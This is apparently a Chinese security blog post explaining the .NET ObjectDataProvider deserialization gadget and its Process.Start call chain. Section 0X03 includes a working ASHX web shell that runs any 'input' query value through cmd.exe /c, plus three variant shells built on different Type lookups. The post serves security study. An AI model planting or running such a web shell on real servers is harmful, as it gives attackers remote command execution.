0X01 背景
.NET反序列化漏洞里的核心Gadget:ObjectDataProvider类,封装于WPF核心程序集之一PresentationFramework.dll,处于System.Windows.Data命名空间下,顾名思义就是把一个非静态类实例化后的对象作为数据源提供给WPF控件绑定,常见用法如下
ObjectDataProvider obj = new ObjectDataProvider(); | |
obj.MethodParameters.Add("calc"); | |
obj.MethodName = "Start"; | |
obj.ObjectInstance = new System.Diagnostics.Process(); |
ObjectDataProvider对象的ObjectInstance设置为Process对象,MethodName设置为Process类的Start方法,MethodParamers为Start方法传递的参数 calc
如上图进入ObjectDataProvider类的定义发现ObjectType可被设置为任意类型, 由于Type是一个抽象类,不能直接被new 关键词创建对象,但可用以下3种方法得到Type实例的引用
第1种:使用C# typeof操作符 获取 Process 类型信息的引用,如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = typeof(System.Diagnostics.Process) | |
}; | |
objectDataProvider.MethodParameters.Add("calc"); | |
objectDataProvider.MethodName = "Start"; |
第2种:可使用 System.Type类的静态成员 GetType(文本,是否抛出异常,区分大小写) , 需在第一个参数指定类型的完全限定名,限定名包含了类所在的命名空间、程序集名、版本、语言、PublicKeyToken,采用这种方法的好处在于可指定文本信息,编译时不需要提供数据类型,如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true); | |
}; | |
objectDataProvider.MethodParameters.Add("calc"); | |
objectDataProvider.MethodName = "Start"; |
第3种:可使用 System.Object.GetType() , 返回表示当前对象的Type实例,其实从.NET 源码可见ObjectInstance底层实现也是通过对象的GetType()得到类型,改写的代码如下
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = new System.Diagnostics.Process().GetType() | |
}; | |
objectDataProvider.MethodParameters.Add("calc"); | |
objectDataProvider.MethodName = "Start"; |
0X02 ObjectDataProvider调用链
下图描绘整个WPF项目窗体创建启动到ObjectDataProvider实例化调用对象过程中所有的调用链,右侧是WPF窗体创建过程调用链,左侧是ObjectDataProvider实例化载入任意对象过程的调用栈信息,整张图从右向左看
笔者在MainWindow窗体类中实例化了对象ObjectDataProvider,并且继承了DataSourceProvider类,DataSourceProvider定义了两个重要方法,Refresh方法调用虚方法BeginQuery,这个BeginQuery将来会在ObjectDataProvider类里实现。
public void Refresh() | |
{ | |
this._initialLoadCalled = true; | |
this.BeginQuery(); | |
} | |
protected virtual void BeginQuery() | |
{ | |
} |
然后这个过程干了3件事,第1件事进入ObjectDataProvider类的构造方法实例化集合,该集合ParameterCollection继承于Collection<Object>,并声明一个委托ParameterCollectionChanged,用于OnParametersChanged 时调用定义在Collection类的公开方法,并重写了Collection类里的InsertItem,SetItem,RemoveItem等多个方法,由于InsertItem声明是受保护的方法不可直接被调用,而Addf声明为公共方法可被调用, 所以设置 MethodParameters.Add("calc")
public ObjectDataProvider() | |
{ | |
this._methodParameters = new ParameterCollection(new ParameterCollectionChanged(this.OnParametersChanged)); | |
this._sourceDataChangedHandler = new EventHandler(this.OnSourceDataChanged); | |
} |
public ParameterCollection(ParameterCollectionChanged parametersChanged) => this._parametersChanged = parametersChanged; | |
protected override void InsertItem(int index, object value) | |
{ | |
this.CheckReadOnly(); | |
base.InsertItem(index, value); | |
this.OnCollectionChanged(); | |
} | |
private void OnCollectionChanged() => this._parametersChanged(this); |
public void Add(T item) | |
{ | |
if (this.items.IsReadOnly) | |
ThrowHelper.ThrowNotSupportedException(ExceptionResource.NotSupported_ReadOnlyCollection); | |
this.InsertItem(this.items.Count, item); | |
} |
第2件事通过set_ObjectInstance设置需要创建实例化对象名,this._mode == ObjectDataProvider.SourceMode.FromType 这行判断如果枚举的值为FromType就抛出异常,等于说ObjectDataProvider.ObjectType和ObjectDataProvider.ObjectInstance 在实例化时只能二选一,另外SetObjectInstance方法中也是通过value?.GetType()的方式获得类型完全限定名,这点和上一小节1.2演示的Demo一样。
public object ObjectInstance | |
{ | |
set | |
{ | |
if (this._mode == ObjectDataProvider.SourceMode.FromType) | |
throw new InvalidOperationException(System.Windows.SR.Get("ObjectDataProviderCanHaveOnlyOneSource")); | |
this._mode = value == null ? ObjectDataProvider.SourceMode.NoSource : ObjectDataProvider.SourceMode.FromInstance; | |
if (this.ObjectInstance == value) | |
return; | |
if (!this.SetObjectInstance(value) || this.IsRefreshDeferred) | |
return; | |
this.Refresh(); | |
} | |
} | |
private bool SetObjectInstance(object value) | |
{ | |
if (this._objectInstance == value) | |
return false; | |
this._objectInstance = value; | |
this.SetObjectType(value?.GetType()); | |
this.OnPropertyChanged("ObjectInstance"); | |
return true; | |
} |
ObjectType属性底层实现原理如下,this._objectType = newType; 直接赋值给了传递的Type类型参数,例如上一小节1.1演示的Demo,ObjectType = typeof(System.Diagnostics.Process)
private bool SetObjectType(Type newType) | |
{ | |
if (!(this._objectType != newType)) | |
return false; | |
this._objectType = newType; | |
this.OnPropertyChanged("ObjectType"); | |
return true; | |
} |
第3件通过set_MethodName设置对象调用的方法,例如此处的 objectDataProvider.MethodName = "Start";
public string MethodName | |
{ | |
get => this._methodName; | |
set | |
{ | |
this._methodName = value; | |
this.OnPropertyChanged(nameof (MethodName)); | |
if (this.IsRefreshDeferred) | |
return; | |
this.Refresh(); | |
} | |
} |
接着依次进入下面3个方法 BeginQuery -> QueryWorker ->InvokeMethodOnInstance,BeginQuery终在ObjectDataProvider类里重写实现调用,InvokeMethodOnInstance方法通过属性this._objectType反射出MethodName里设置的MethodParameters数组,此处是objArray,至此ObjectDataProvider底层运行原理介绍完毕。
0X03 编写Web脚本程序
程序内部采用Base64编码和解码的解析方式运行,这样的好处在于对URL特殊字符串的处置,启动Process类调用cmd.exe/c calc.exe 执行命令,核心代码如下
public static void CodeInject(string input) | |
{ | |
string ExecCode = EncodeBase64("utf-8", input); | |
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectInstance = new System.Diagnostics.Process(), | |
}; | |
objectDataProvider.MethodParameters.Add("cmd.exe"); | |
objectDataProvider.MethodParameters.Add("/c " + DecodeBase64("utf-8",ExecCode)); | |
objectDataProvider.MethodName = "Start"; | |
} | |
public void ProcessRequest(HttpContext context) | |
{ | |
context.Response.ContentType = "text/plain"; | |
if (!string.IsNullOrEmpty(context.Request["input"])) | |
{ | |
CodeInject(context.Request["input"]); | |
context.Response.Write("Status: 执行完毕!"); | |
} | |
else | |
{ | |
context.Response.Write("1. example: http://www.xxxxxxx.com/ObjectDataProviderSpy.ashx?input=calc.exe\n\n"); | |
context.Response.Write("2. 程序调用cmd.exe/c calc.exe 执行命令,注意:本程序仅供实验学习 ObjectDataProvider类,请勿违法滥用!"); | |
} | |
} |
笔者创建的是ashx扩展名的文件,访问 http://localhost:52188/ObjectDataProviderSpy.ashx?input=calc
另外在第二小节ObjectDataProvider类调用链中提到ObjectType属性也可以设定对象的类型,而.NET里获取 Type数据类型常用的有typeof和System.Type类GetType方法,所以将 ObjectInstance 替换成 ObjectType 也可以触发命令执行,如下代码实现两个变种WebShell
// System.Object.GetType() | |
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = new System.Diagnostics.Process().GetType() | |
}; | |
// System.Type.GetType("string") | |
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = Type.GetType("System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089", true,true); | |
}; | |
//c# typeof | |
ObjectDataProvider objectDataProvider = new ObjectDataProvider() | |
{ | |
ObjectType = typeof(System.Diagnostics.Process) | |
}; |
0X04 结语
ObjectDataProvider的确很神奇,希望未来不会被恶意滥用😄 文章涉及的PDF和另外还有2个变种程序Demo已打包发布在星球,欢迎对.NET安全关注和关心的同学加入我们,在这里能遇到有情有义的小伙伴,大家聚在一起做一件有意义的事。